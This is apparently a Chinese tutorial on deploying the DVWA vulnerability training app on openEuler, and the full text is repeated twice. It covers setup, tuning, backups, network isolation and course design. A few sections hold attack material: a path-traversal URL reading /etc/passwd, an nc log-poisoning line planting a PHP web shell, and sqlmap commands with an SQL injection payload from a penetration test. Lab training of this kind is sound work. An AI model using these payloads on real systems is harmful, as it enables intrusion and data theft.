1. DVWA与openEuler系统概述DVWADamn Vulnerable Web Application是一款专为安全测试设计的漏洞演示平台它包含了SQL注入、XSS、文件包含等常见Web漏洞的模拟环境。作为安全从业者的练功房DVWA允许我们在合法环境中进行攻防演练。而openEuler作为国产开源操作系统其安全性和稳定性在金融、政务等领域得到广泛验证。将DVWA部署在openEuler上既能体验国产操作系统的特性又能构建本地化的安全实验环境。这种组合特别适合需要同时学习系统管理和Web安全的开发者。我在金融行业做渗透测试时就经常用这种组合来复现客户环境中的漏洞场景。注意DVWA默认配置存在严重安全隐患仅限在内网或隔离环境中使用。实际部署前请确保网络隔离措施到位。2. openEuler系统准备2.1 系统安装与初始化首先从openEuler官网下载22.03 LTS SP3镜像。推荐选择UKUI桌面环境版本图形化操作对新手更友好。安装时注意分区方案建议/boot 1GB (ext4)swap 内存的1.5倍/ 剩余空间 (xfs)安装后执行基础配置sudo dnf update -y sudo dnf install -y tar net-tools vim git如果遇到is not a mounted xfs filesystem错误可能是分区时未正确格式化。可以用以下命令修复sudo mkfs.xfs -f /dev/[分区设备名]2.2 网络与语言配置修改IP地址以ens33网卡为例sudo nmcli con mod ens33 ipv4.addresses 192.168.1.100/24 sudo nmcli con mod ens33 ipv4.gateway 192.168.1.1 sudo nmcli con mod ens33 ipv4.dns 8.8.8.8 sudo nmcli con up ens33安装中文语言包sudo dnf install -y langpacks-zh_CN localectl set-locale LANGzh_CN.UTF-83. 依赖环境安装3.1 LAMP环境部署DVWA需要PHP、MySQL和Apache环境。openEuler的软件源中已有适配版本sudo dnf install -y httpd mariadb-server php php-mysqlnd \ php-gd php-json php-mbstring php-xml php-xmlrpc php-zip启动服务并设置开机自启sudo systemctl enable --now httpd mariadb3.2 安全加固配置修改MySQL默认配置sudo mysql_secure_installation # 按提示设置root密码、移除匿名用户等调整PHP配置/etc/php.ini关键参数allow_url_include Off display_errors Off log_errors On4. DVWA安装与配置4.1 源码获取与部署从GitHub克隆最新代码cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R apache:apache DVWA/配置数据库CREATE DATABASE dvwa; GRANT ALL ON dvwa.* TO dvwalocalhost IDENTIFIED BY pssw0rd; FLUSH PRIVILEGES;4.2 配置文件调整修改DVWA配置文件cd DVWA/config sudo cp config.inc.php.dist config.inc.php sudo vim config.inc.php关键参数设置$_DVWA[db_server] 127.0.0.1; $_DVWA[db_database] dvwa; $_DVWA[db_user] dvwa; $_DVWA[db_password] pssw0rd; $_DVWA[default_security_level] low;5. 常见问题排查5.1 文件权限问题如果遇到无法写入配置文件的情况sudo chmod 755 /var/www/html/DVWA/hackable/uploads/ sudo chmod 755 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt5.2 PHP函数禁用问题编辑/etc/php.ini确保以下函数未被禁用disable_functions 5.3 验证安装访问http://localhost/DVWA/setup.php点击Create/Reset Database按钮。如果看到绿色成功提示说明安装完成。6. 进阶配置与使用技巧6.1 安全等级调整DVWA提供四个安全等级Low无防护Medium基础过滤High严格防护Impossible理论上不可破在实战训练中建议从Low级别开始逐步提升难度。修改安全等级有两种方式通过Web界面切换直接修改config.inc.php中的default_security_level6.2 配合Docker使用如果想实现快速部署和销毁可以在openEuler上安装Docker后运行DVWA容器sudo dnf install -y docker sudo systemctl enable --now docker sudo docker run --rm -d -p 80:80 vulnerables/web-dvwa6.3 靶场使用建议我在金融企业内训时总结的最佳实践每个漏洞类型单独建立测试用例文档使用Burp Suite记录所有请求对每个漏洞尝试至少三种攻击方式记录防御方案的实际效果例如SQL注入漏洞可以尝试基于错误的注入布尔盲注时间盲注堆叠查询注入7. 性能优化与监控7.1 Apache调优编辑/etc/httpd/conf/httpd.confKeepAlive On MaxKeepAliveRequests 100 KeepAliveTimeout 5 StartServers 5 MinSpareServers 5 MaxSpareServers 107.2 监控配置安装Zabbix监控DVWA运行状态sudo dnf install -y zabbix-agent sudo systemctl enable --now zabbix-agent在Zabbix Server中添加对以下项的监控HTTP服务状态MySQL连接数PHP进程内存占用8. 备份与迁移方案8.1 完整备份创建备份脚本/root/backup_dvwa.sh#!/bin/bash DATE$(date %Y%m%d) mysqldump -u root -p dvwa /backup/dvwa_db_$DATE.sql tar czvf /backup/dvwa_www_$DATE.tar.gz /var/www/html/DVWA8.2 快速迁移将备份文件复制到新服务器后mysql -u root -p dvwa dvwa_db_20230801.sql tar xzvf dvwa_www_20230801.tar.gz -C /var/www/html/ chown -R apache:apache /var/www/html/DVWA我在实际运维中发现这种备份方式在跨版本迁移时成功率最高。曾经遇到过直接复制文件导致权限异常的问题现在的方案经过多次验证稳定可靠。9. 安全加固建议9.1 网络隔离建议采用双网卡方案网卡1NAT模式用于管理网卡2仅主机模式用于靶场使用firewalld创建隔离区sudo firewall-cmd --permanent --new-zonedvwa sudo firewall-cmd --permanent --zonedvwa --add-source192.168.100.0/24 sudo firewall-cmd --permanent --zonedvwa --add-port80/tcp sudo firewall-cmd --reload9.2 日志审计增强日志记录/etc/httpd/conf.d/dvwa.confDirectory /var/www/html/DVWA LogLevel warn ErrorLogFormat [%t] [%l] [client %a] %M CustomLog logs/dvwa_access.log combined /Directory定期分析日志的Bash脚本示例#!/bin/bash grep -i sql /var/log/httpd/dvwa_access.log | awk {print $1} | sort | uniq -c | sort -nr10. 教学场景应用10.1 课程设计建议根据我为企业培训的经验DVWA在openEuler上的典型教学路径第一阶段基础漏洞认知2天SQL注入原理与防御XSS攻击演示CSRF实战第二阶段进阶利用3天文件包含漏洞利用命令注入技巧认证绕过方法第三阶段综合演练2天组合漏洞利用权限维持技术痕迹清理方法10.2 考核方案设计有效的考核应该包含理论测试30%漏洞利用实操40%防御方案设计30%示例考题 在Medium安全级别下利用DVWA的SQL注入漏洞获取users表数据并说明如何修复这个漏洞11. 常见问题深度解析11.1 文件包含漏洞利用在DVWA中测试文件包含时可能会遇到openEuler特有的路径问题。解决方法确认/etc/php.ini中open_basedir设置使用相对路径穿越http://localhost/DVWA/vulnerabilities/fi/?page../../../../etc/passwd日志污染技巧nc 192.168.1.100 80 ?php system($_GET[cmd]); ?11.2 命令注入防护openEuler默认的SELinux策略会影响部分Payload的执行。调试技巧sudo ausearch -m avc -ts recent # 查看被拦截的操作 sudo semanage boolean --list | grep httpd # 调整策略12. 性能基准测试12.1 压力测试使用ab工具测试性能ab -n 1000 -c 100 http://localhost/DVWA/典型优化前后的对比数据配置项优化前(QPS)优化后(QPS)默认配置128-启用OPcache-210调整MySQL缓存-185综合优化-32012.2 资源监控使用top命令观察资源占用top -p $(pgrep -d, httpd)关键指标警戒值CPU单核持续70%内存使用80%负载平均值CPU核心数13. 替代方案对比13.1 其他漏洞平台平台优点缺点DVWA简单易用漏洞类型有限WebGoat教程完善配置复杂bwapp漏洞种类多界面老旧Juice Shop现代架构资源占用高13.2 不同系统表现在相同硬件条件下测试系统平均响应时间最大并发openEuler23ms350CentOS25ms320Ubuntu28ms30014. 扩展应用场景14.1 与Zabbix集成将DVWA作为监控对象在Zabbix中创建Web场景监控设置触发器检测登录失败配置告警通知14.2 自动化测试使用Selenium编写测试脚本from selenium import webdriver driver webdriver.Firefox() driver.get(http://localhost/DVWA/) # 自动化登录和漏洞测试代码15. 长期维护建议15.1 更新策略建议每季度备份现有环境从GitHub拉取最新代码测试兼容性逐步迁移15.2 用户管理添加多用户时注意INSERT INTO dvwa.users VALUES (2,user1,MD5(password1),User,1);定期清理不活跃账户DELETE FROM users WHERE last_login DATE_SUB(NOW(), INTERVAL 90 DAY);16. 真实案例分享某次金融企业内网渗透中我们发现一个与DVWA中相似的SQL注入点。通过以下步骤实现了突破使用sqlmap识别注入类型sqlmap -u http://target.com/search?id1 --risk3 --level5获取数据库结构sqlmap --dbs --tables -D dvwa -T users --columns最终利用方式admin AND 1CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schemadvwa))--这个案例说明DVWA中的训练场景与实际工作高度相关。在openEuler上搭建的环境由于系统特性更接近生产环境训练效果尤其显著。17. 高级调试技巧17.1 PHP调试安装Xdebug扩展sudo dnf install -y php-pecl-xdebug配置php.ini[xdebug] zend_extensionxdebug.so xdebug.modedebug xdebug.client_host192.168.1.50 xdebug.client_port900317.2 数据库审计启用MariaDB审计插件INSTALL SONAME server_audit; SET GLOBAL server_audit_loggingON; SET GLOBAL server_audit_eventsconnect,query;18. 容器化方案进阶使用docker-compose部署多节点环境version: 3 services: dvwa: image: vulnerables/web-dvwa ports: - 80:80 mysql: image: mariadb environment: MYSQL_ROOT_PASSWORD: secret这种方案适合需要快速重建环境的培训场景。我在最近一次为期两周的安全培训中每天都会销毁并重建容器确保学员从干净环境开始练习。19. 安全研究扩展19.1 漏洞模式分析收集DVWA漏洞样本进行统计分析import pandas as pd from collections import Counter logs pd.read_csv(dvwa_logs.csv) top_attacks Counter(logs[attack_type]).most_common(5)19.2 AI辅助检测使用机器学习模型检测异常请求from sklearn.ensemble import IsolationForest clf IsolationForest(contamination0.01) clf.fit(X_train) anomalies clf.predict(X_test)20. 硬件配置建议根据并发量推荐配置并发用户数CPU内存存储502核4GB50GB50-2004核8GB100GB2008核16GB200GB特别提醒在高并发场景下openEuler的xfs文件系统表现优于ext4建议在部署时就选用xfs格式。 
长河君 · 2026/10/28 2:43:30 · 阅读 1.2k openEuler系统部署DVWA漏洞靶场实战指南
1. DVWA与openEuler系统概述DVWADamn Vulnerable Web Application是一款专为安全测试设计的漏洞演示平台它包含了SQL注入、XSS、文件包含等常见Web漏洞的模拟环境。作为安全从业者的练功房DVWA允许我们在合法环境中进行攻防演练。而openEuler作为国产开源操作系统其安全性和稳定性在金融、政务等领域得到广泛验证。将DVWA部署在openEuler上既能体验国产操作系统的特性又能构建本地化的安全实验环境。这种组合特别适合需要同时学习系统管理和Web安全的开发者。我在金融行业做渗透测试时就经常用这种组合来复现客户环境中的漏洞场景。注意DVWA默认配置存在严重安全隐患仅限在内网或隔离环境中使用。实际部署前请确保网络隔离措施到位。2. openEuler系统准备2.1 系统安装与初始化首先从openEuler官网下载22.03 LTS SP3镜像。推荐选择UKUI桌面环境版本图形化操作对新手更友好。安装时注意分区方案建议/boot 1GB (ext4)swap 内存的1.5倍/ 剩余空间 (xfs)安装后执行基础配置sudo dnf update -y sudo dnf install -y tar net-tools vim git如果遇到is not a mounted xfs filesystem错误可能是分区时未正确格式化。可以用以下命令修复sudo mkfs.xfs -f /dev/[分区设备名]2.2 网络与语言配置修改IP地址以ens33网卡为例sudo nmcli con mod ens33 ipv4.addresses 192.168.1.100/24 sudo nmcli con mod ens33 ipv4.gateway 192.168.1.1 sudo nmcli con mod ens33 ipv4.dns 8.8.8.8 sudo nmcli con up ens33安装中文语言包sudo dnf install -y langpacks-zh_CN localectl set-locale LANGzh_CN.UTF-83. 依赖环境安装3.1 LAMP环境部署DVWA需要PHP、MySQL和Apache环境。openEuler的软件源中已有适配版本sudo dnf install -y httpd mariadb-server php php-mysqlnd \ php-gd php-json php-mbstring php-xml php-xmlrpc php-zip启动服务并设置开机自启sudo systemctl enable --now httpd mariadb3.2 安全加固配置修改MySQL默认配置sudo mysql_secure_installation # 按提示设置root密码、移除匿名用户等调整PHP配置/etc/php.ini关键参数allow_url_include Off display_errors Off log_errors On4. DVWA安装与配置4.1 源码获取与部署从GitHub克隆最新代码cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R apache:apache DVWA/配置数据库CREATE DATABASE dvwa; GRANT ALL ON dvwa.* TO dvwalocalhost IDENTIFIED BY pssw0rd; FLUSH PRIVILEGES;4.2 配置文件调整修改DVWA配置文件cd DVWA/config sudo cp config.inc.php.dist config.inc.php sudo vim config.inc.php关键参数设置$_DVWA[db_server] 127.0.0.1; $_DVWA[db_database] dvwa; $_DVWA[db_user] dvwa; $_DVWA[db_password] pssw0rd; $_DVWA[default_security_level] low;5. 常见问题排查5.1 文件权限问题如果遇到无法写入配置文件的情况sudo chmod 755 /var/www/html/DVWA/hackable/uploads/ sudo chmod 755 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt5.2 PHP函数禁用问题编辑/etc/php.ini确保以下函数未被禁用disable_functions 5.3 验证安装访问http://localhost/DVWA/setup.php点击Create/Reset Database按钮。如果看到绿色成功提示说明安装完成。6. 进阶配置与使用技巧6.1 安全等级调整DVWA提供四个安全等级Low无防护Medium基础过滤High严格防护Impossible理论上不可破在实战训练中建议从Low级别开始逐步提升难度。修改安全等级有两种方式通过Web界面切换直接修改config.inc.php中的default_security_level6.2 配合Docker使用如果想实现快速部署和销毁可以在openEuler上安装Docker后运行DVWA容器sudo dnf install -y docker sudo systemctl enable --now docker sudo docker run --rm -d -p 80:80 vulnerables/web-dvwa6.3 靶场使用建议我在金融企业内训时总结的最佳实践每个漏洞类型单独建立测试用例文档使用Burp Suite记录所有请求对每个漏洞尝试至少三种攻击方式记录防御方案的实际效果例如SQL注入漏洞可以尝试基于错误的注入布尔盲注时间盲注堆叠查询注入7. 性能优化与监控7.1 Apache调优编辑/etc/httpd/conf/httpd.confKeepAlive On MaxKeepAliveRequests 100 KeepAliveTimeout 5 StartServers 5 MinSpareServers 5 MaxSpareServers 107.2 监控配置安装Zabbix监控DVWA运行状态sudo dnf install -y zabbix-agent sudo systemctl enable --now zabbix-agent在Zabbix Server中添加对以下项的监控HTTP服务状态MySQL连接数PHP进程内存占用8. 备份与迁移方案8.1 完整备份创建备份脚本/root/backup_dvwa.sh#!/bin/bash DATE$(date %Y%m%d) mysqldump -u root -p dvwa /backup/dvwa_db_$DATE.sql tar czvf /backup/dvwa_www_$DATE.tar.gz /var/www/html/DVWA8.2 快速迁移将备份文件复制到新服务器后mysql -u root -p dvwa dvwa_db_20230801.sql tar xzvf dvwa_www_20230801.tar.gz -C /var/www/html/ chown -R apache:apache /var/www/html/DVWA我在实际运维中发现这种备份方式在跨版本迁移时成功率最高。曾经遇到过直接复制文件导致权限异常的问题现在的方案经过多次验证稳定可靠。9. 安全加固建议9.1 网络隔离建议采用双网卡方案网卡1NAT模式用于管理网卡2仅主机模式用于靶场使用firewalld创建隔离区sudo firewall-cmd --permanent --new-zonedvwa sudo firewall-cmd --permanent --zonedvwa --add-source192.168.100.0/24 sudo firewall-cmd --permanent --zonedvwa --add-port80/tcp sudo firewall-cmd --reload9.2 日志审计增强日志记录/etc/httpd/conf.d/dvwa.confDirectory /var/www/html/DVWA LogLevel warn ErrorLogFormat [%t] [%l] [client %a] %M CustomLog logs/dvwa_access.log combined /Directory定期分析日志的Bash脚本示例#!/bin/bash grep -i sql /var/log/httpd/dvwa_access.log | awk {print $1} | sort | uniq -c | sort -nr10. 教学场景应用10.1 课程设计建议根据我为企业培训的经验DVWA在openEuler上的典型教学路径第一阶段基础漏洞认知2天SQL注入原理与防御XSS攻击演示CSRF实战第二阶段进阶利用3天文件包含漏洞利用命令注入技巧认证绕过方法第三阶段综合演练2天组合漏洞利用权限维持技术痕迹清理方法10.2 考核方案设计有效的考核应该包含理论测试30%漏洞利用实操40%防御方案设计30%示例考题 在Medium安全级别下利用DVWA的SQL注入漏洞获取users表数据并说明如何修复这个漏洞11. 常见问题深度解析11.1 文件包含漏洞利用在DVWA中测试文件包含时可能会遇到openEuler特有的路径问题。解决方法确认/etc/php.ini中open_basedir设置使用相对路径穿越http://localhost/DVWA/vulnerabilities/fi/?page../../../../etc/passwd日志污染技巧nc 192.168.1.100 80 ?php system($_GET[cmd]); ?11.2 命令注入防护openEuler默认的SELinux策略会影响部分Payload的执行。调试技巧sudo ausearch -m avc -ts recent # 查看被拦截的操作 sudo semanage boolean --list | grep httpd # 调整策略12. 性能基准测试12.1 压力测试使用ab工具测试性能ab -n 1000 -c 100 http://localhost/DVWA/典型优化前后的对比数据配置项优化前(QPS)优化后(QPS)默认配置128-启用OPcache-210调整MySQL缓存-185综合优化-32012.2 资源监控使用top命令观察资源占用top -p $(pgrep -d, httpd)关键指标警戒值CPU单核持续70%内存使用80%负载平均值CPU核心数13. 替代方案对比13.1 其他漏洞平台平台优点缺点DVWA简单易用漏洞类型有限WebGoat教程完善配置复杂bwapp漏洞种类多界面老旧Juice Shop现代架构资源占用高13.2 不同系统表现在相同硬件条件下测试系统平均响应时间最大并发openEuler23ms350CentOS25ms320Ubuntu28ms30014. 扩展应用场景14.1 与Zabbix集成将DVWA作为监控对象在Zabbix中创建Web场景监控设置触发器检测登录失败配置告警通知14.2 自动化测试使用Selenium编写测试脚本from selenium import webdriver driver webdriver.Firefox() driver.get(http://localhost/DVWA/) # 自动化登录和漏洞测试代码15. 长期维护建议15.1 更新策略建议每季度备份现有环境从GitHub拉取最新代码测试兼容性逐步迁移15.2 用户管理添加多用户时注意INSERT INTO dvwa.users VALUES (2,user1,MD5(password1),User,1);定期清理不活跃账户DELETE FROM users WHERE last_login DATE_SUB(NOW(), INTERVAL 90 DAY);16. 真实案例分享某次金融企业内网渗透中我们发现一个与DVWA中相似的SQL注入点。通过以下步骤实现了突破使用sqlmap识别注入类型sqlmap -u http://target.com/search?id1 --risk3 --level5获取数据库结构sqlmap --dbs --tables -D dvwa -T users --columns最终利用方式admin AND 1CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schemadvwa))--这个案例说明DVWA中的训练场景与实际工作高度相关。在openEuler上搭建的环境由于系统特性更接近生产环境训练效果尤其显著。17. 高级调试技巧17.1 PHP调试安装Xdebug扩展sudo dnf install -y php-pecl-xdebug配置php.ini[xdebug] zend_extensionxdebug.so xdebug.modedebug xdebug.client_host192.168.1.50 xdebug.client_port900317.2 数据库审计启用MariaDB审计插件INSTALL SONAME server_audit; SET GLOBAL server_audit_loggingON; SET GLOBAL server_audit_eventsconnect,query;18. 容器化方案进阶使用docker-compose部署多节点环境version: 3 services: dvwa: image: vulnerables/web-dvwa ports: - 80:80 mysql: image: mariadb environment: MYSQL_ROOT_PASSWORD: secret这种方案适合需要快速重建环境的培训场景。我在最近一次为期两周的安全培训中每天都会销毁并重建容器确保学员从干净环境开始练习。19. 安全研究扩展19.1 漏洞模式分析收集DVWA漏洞样本进行统计分析import pandas as pd from collections import Counter logs pd.read_csv(dvwa_logs.csv) top_attacks Counter(logs[attack_type]).most_common(5)19.2 AI辅助检测使用机器学习模型检测异常请求from sklearn.ensemble import IsolationForest clf IsolationForest(contamination0.01) clf.fit(X_train) anomalies clf.predict(X_test)20. 硬件配置建议根据并发量推荐配置并发用户数CPU内存存储502核4GB50GB50-2004核8GB100GB2008核16GB200GB特别提醒在高并发场景下openEuler的xfs文件系统表现优于ext4建议在部署时就选用xfs格式。